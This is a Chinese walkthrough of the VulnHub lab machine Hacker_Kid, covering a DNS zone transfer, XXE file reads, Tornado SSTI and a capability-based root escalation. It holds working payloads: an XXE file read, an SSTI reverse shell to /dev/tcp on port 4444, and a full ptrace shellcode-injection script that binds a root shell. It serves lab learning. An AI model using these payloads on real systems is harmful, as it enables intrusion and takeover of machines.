Hacker_kid-v1.0.1(vulnhub)

本文详述了一次针对靶机的渗透测试过程,包括主机发现、端口扫描、Web信息收集、DNS区域传输、XXE漏洞利用和提权。通过信息收集,发现了DNS服务器配置不当的漏洞,利用XML外部实体注入(XXE)获取敏感信息,并最终通过Capabilities权限提升获取了root权限。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

中等难度的靶机,取得权限即可(提示:信息收集,不需要爆破)

此靶机存在的都是新兴的漏洞类型。

地址如下:

https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova

1.主机发现

arp-scan -l

2.端口发现

nmap -p 1-65535 -A 192.168.56.106
详细信息如下:
53/tcp   open  domain  ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid:       DNS服务,tcp的 53 端口用于域的
|_  bind.version: 9.16.1-Ubuntu

我们一般使用的都是UDP的53端口,查看一下:namp -p53 -sU 192.168.56.106,发现是开启的
53端口的bind版本可以进行尝试漏洞搜索:9.16.1的漏洞存在
CVE-2020-8625    CVE-2021-25216(没找到漏洞利用代码)

80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Notorious Kid : A Hacker 
|_http-server-header: Apache/2.4.41 (Ubuntu)
9999/tcp open  http    Tornado httpd 6.1
| http-title: Please Log In
|_Requested resource was /login?next=%2F
|_http-server-header: TornadoServer/6.1    TornadoServer(python框架)

OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6

3.Web信息收集

看到了一堆dig,然而linux存在dig命令,可以尝试一下。

 看到#,直接去掉访问。访问了,但是一点用没有。

之后挨个查看源码,看信息,发下了一个注释:使用参数page_no,这里参数很像一个页面的页码,我们用BP爆破出他的数值到底是多少。。burp选择Numbers模块就行。值是21.

 得到了信息:知道了存在子域。。通过DNS产生了一些的不同域名,一个服务器可以通过DNS绑定不同的域名。

在一台服务器上部署多个web服务常见有三种方法
方法一:不同的web服务绑定不同的ip,访问者通过访问不同的ip来浏览不同的网站
方法二:不同的web服务绑定不同的端口,访问者通过访问同一ip的不同端口来浏览不同的网站
方法三:不同的web服务绑定不同的域名,访问者通过访问不同的域名来浏览不同的网站

 提示提到域名之一:hackers.blackhat.local 编辑hosts文件才能访问

此时添加hosts的dns解析,kali的修改命令 vi /etc/hosts,Windows上的文件位置在C:\Windows\System32\drivers\etc
加上: 192.168.56.106 hackers.blackhat.local

4.DNS区域传输

使用提到的dig命令 ,axfr命令 可以得到所有的DNS解析记录

axfr的具体含义简单来说就是使用dig命令向服务器发送一个axfr的请求,如果服务器支持axfr,那么就会把请求的域对应的所有的dns记录都返回给请求者。

hackerkid.blackhat.local
blackhat.local.    10800  IN  NS  ns1.blackhat.local.
blackhat.local.    10800  IN  MX  10 mail.blackhat.local.
blackhat.local.    10800  IN  A  192.168.14.143
ftp.blackhat.local.  10800  IN  CNAME  blackhat.local.
hacker.blackhat.local.  10800  IN  CNAME  hacker.blackhat.local.blackhat.local.
mail.blackhat.local.  10800  IN  A  192.168.14.143
ns1.blackhat.local.  10800  IN  A  192.168.14.143
ns2.blackhat.local.  10800  IN  A  192.168.14.143
www.blackhat.local.  10800  IN  CNAME  blackhat.local.
blackhat.local.    10800  IN  SOA  blackhat.local. hackerkid.blackhat.local. 1 10800 3600 604800 3600

 我们把所有的解析都加到hosts文件中去。挨个访问

这里讲一下axfr的安全问题:

从安全配置的角度出发,服务器是不应当响应每个人的axfr请求的,它应该是只在同一域中主、备服务器之间使用的请求,通常用于实现主、备dns服务器间同步dns记录的作用。这里dns服务器响应了我们的axfr请求,其实是说明了该dns服务器存在配置不当的漏洞所造成的。

继续我们的漏洞利用:添加的解析中hackerkid.blackhat.local 可以访问

 尝试过几次会发现邮件都不行。。那抓包查看:

 但是发现了这是通过xml发送到服务器的。看到了xml就联想到XXE漏洞,外部实体注入攻击

5.XXE注入

XML 被设计为传输和存储数据,XML 文档结构包括 XML 声明、DTD 文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从 HTML 分离,是独立于软件和硬件的信息传输工具。
XXE 漏洞全称XML External Entity Injection,即 xml 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>

xxe的漏洞最常用的代码,而且我们测试知道邮箱处会把数据返回报错,看到了用户找到可登录的/bin/bash。

 接着用命令访问saket的文件.bashrdc,失败了,可能有过过滤,那么尝试php伪协议

php://filter/read=convert.base64-encode/resource=/home/saket/.bashrc

能够看到加密的了密码base64加密

username="admin"
password="Saket!#$%@!!"
这个密码直接拿去登录9999端口的页面,登录不上,密码肯定不会错啊,那只能考虑账号,拿用户账号尝试一下。。
saket

 登进去之后,页面两句英文,没有任何思路那看看这些单词,可能有 变量 测试下name。

 6.SSTI模板注入

我们在前面信息搜集的时候就知道了9999端口开放的web服务用的是Tornado,Tornado是一个python语言的web服务框架,python作为后端语言,我能想到的最有可能存在的漏洞也就是SSTI模板注入了,所以我这里随手测一下看是否有SSTI模板注入的漏洞

看下这篇文章

SSTI (Server Side Template Injection) - HackTricks

这里给出了一个模板注入通用的测试payload:{{1+abcdef}}${1+abcdef}<?1+abcdef?>[1+abcdef]
如果使用该payload后发现页面产生了如下图所示的报错,也是可以说明存在模板注入漏洞

 最好是能够反弹shell,用的还是python代码

{% import os %}{{os.system('bash -c "bash -i &> /dev/tcp/192.168.56.102/4444 0>&1"')}} 
报错了。url编码试一下呢
%7b%25%20import%20os%20%25%7d%7b%7bos.system('bash%20-c%20%22bash%20-i%20%26%3e%20%2fdev%2ftcp%2f192.168.56.102%2f4444%200%3e%261%22')%7d%7d

成功。。

7.提权

CVE-2021-3493 等最新的内核漏洞都不行

这里利用的功能特性是一个linux内核功能:Capabilities 主要是权限管理的功能。

Capabilities机制是在Linux内核2.2之后引入的,原理很简单,就是将之前与超级用户root(UID=0)关联的特权细分为不同的功能组,Capabilites作为线程(Linux并不真正区分进程和线程)的属性存在,每个功能组都可以独立启用和禁用。其本质上就是将内核调用分门别类,具有相似功能的内核调用被分到同一组中。

这样一来,权限检查的过程就变成了:在执行特权操作时,如果线程的有效身份不是root,就去检查其是否具有该特权操作所对应的capabilities,并以此为依据,决定是否可以执行特权操作。

如果Capabilities设置不正确,就会让攻击者有机可乘,实现权限提升。

使用命令可以发现具有Capabilities特殊操作权限的程序:

/usr/sbin/getcap -r / 2>/dev/null      # -r 递归查询 2>/dev/null 错误信息从定向到null

 发现python具备cap_sys_ptrace+ep 权限,所以我们可以对其进行利用然后进行提权。这里需要用到一个提权脚本,这个脚本的作用就是对root权限的进程注入python类型shellcode,利用pythono具备的cap_sys_ptrace+ep 能力实现权限提升,该脚本如果执行成功,会在靶机的本地监听5600端口。

网上找的下载链接都不行,找到了源码,保存在本地后,通过wget上传到了靶机

python3 -m http.server 80
wget http://ip/inject.py
# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c 

import ctypes
import sys
import struct

# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html

PTRACE_POKETEXT   = 4
PTRACE_GETREGS    = 12
PTRACE_SETREGS    = 13
PTRACE_ATTACH     = 16
PTRACE_DETACH     = 17

# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct

class user_regs_struct(ctypes.Structure):
    _fields_ = [
        ("r15", ctypes.c_ulonglong),
        ("r14", ctypes.c_ulonglong),
        ("r13", ctypes.c_ulonglong),
        ("r12", ctypes.c_ulonglong),
        ("rbp", ctypes.c_ulonglong),
        ("rbx", ctypes.c_ulonglong),
        ("r11", ctypes.c_ulonglong),
        ("r10", ctypes.c_ulonglong),
        ("r9", ctypes.c_ulonglong),
        ("r8", ctypes.c_ulonglong),
        ("rax", ctypes.c_ulonglong),
        ("rcx", ctypes.c_ulonglong),
        ("rdx", ctypes.c_ulonglong),
        ("rsi", ctypes.c_ulonglong),
        ("rdi", ctypes.c_ulonglong),
        ("orig_rax", ctypes.c_ulonglong),
        ("rip", ctypes.c_ulonglong),
        ("cs", ctypes.c_ulonglong),
        ("eflags", ctypes.c_ulonglong),
        ("rsp", ctypes.c_ulonglong),
        ("ss", ctypes.c_ulonglong),
        ("fs_base", ctypes.c_ulonglong),
        ("gs_base", ctypes.c_ulonglong),
        ("ds", ctypes.c_ulonglong),
        ("es", ctypes.c_ulonglong),
        ("fs", ctypes.c_ulonglong),
        ("gs", ctypes.c_ulonglong),
    ]

libc = ctypes.CDLL("libc.so.6")

pid=int(sys.argv[1])

# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()

# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))

print("Instruction Pointer: " + hex(registers.rip))

print("Injecting Shellcode at: " + hex(registers.rip))

# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"

# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
 
  # Convert the byte to little endian.
  shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
  shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
  shellcode_byte=int(shellcode_byte_little_endian,16)
 
  # Inject the byte.
  libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)

print("Shellcode Injected!!")

# Modify the instuction pointer
registers.rip=registers.rip+2

# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))

print("Final Instruction Pointer: " + hex(registers.rip))

# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

 这个脚本需要注入到root权限的进程才能使用

ps -aef | grep root   查看root权限进程

python2.7 inject.py xxx   代表root进程

还可以使用脚本批量注入

for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done

脚本使用的是5600端口,注入后查看5600端口是否打开

 端口打开了,那我们使用nc去连接靶机的5600端口就行

拿到了root权限

 查看端口占用的命令还有:netstat -anp | grep 5600

最后通过此命令还能看出靶机被连接地址。

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值